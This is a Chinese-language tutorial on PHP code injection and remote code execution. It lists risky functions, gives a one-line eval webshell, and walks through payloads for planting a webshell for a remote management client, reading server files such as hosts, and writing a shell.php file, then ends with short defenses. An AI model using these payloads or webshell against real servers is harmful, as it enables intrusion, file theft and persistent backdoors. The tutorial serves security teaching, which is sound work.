一、PHP代码注入
代码注入(执行)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。类似于SQL注入,不同的是,SQL注入到数据库执行,而代码执行将注入到应用中最终由服务器运行它。相当于直接有一个web后门的存在。常见的是远程代码执行,简称RCE。
原因:
1.程序中含有可以执行php代码的函数或者语言结构。
2.传入第一点中的参数,客户端可控,直接修改或者影响。
危害:可以继承web用户权限,执行任意代码。读写目标服务器任意文件,控制整个服务器。
二、相关函数语句
1.eval()
eval()会将字符串当作php代码执行。
测试代码(一句话木马):
<?php
if(isset($_REQUSET['code'])){
@$str=$_REQUEST['code'];
eval($str);
}
?>
注: request 预定义超全局数组变量,get、post、cookie传参在request下都能接收的到。
传参方式,在URL路径后面加上:
?code=phpinfo(); 或者 ?code=${phpinfo()} ; 或者 ?code=1;phpinfo();
eval()函数可执行多条件语句,在后面加 ; 执行。
2.assert()
同样作为php代码执行
3.preg_replace()
对字符串进行正则处理。
4.call_user_func()
有调用其他函数的功能,该函数的第一个值作为回调函数,后面的值作为回调函数的参数。
5.动态函数:$a($b)
由直接拼接的方式调用
三、漏洞利用
1.直接获取shell
提交参数[?code=@eval($_post[1]);],即可构成一句话木马,密码为[1],可使用菜刀连接。
2.获取当前文件的绝对路径
__FILE__是PHP 预定义常量,其含义是当前文件的路径,提交代码[?code=print(__FILE__);]
3.读文件
利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。
提交代码:
?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
读取服务器hosts文件。
4.写文件
利用file_put_contents()函数,写入文件。前提是知道可写目录。
提交代码:
?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
要借助hackbar工具post提交参数
1=shell.php&2=<?php phpinfo()?>
即可在当前目录下创建一个文件shell.php
四、防御方法
1.尽量不要使用eval等函数
2.如果使用的话一定要严格过滤
3.preg_replace放弃使用/e修饰符
4.disable_functions=assert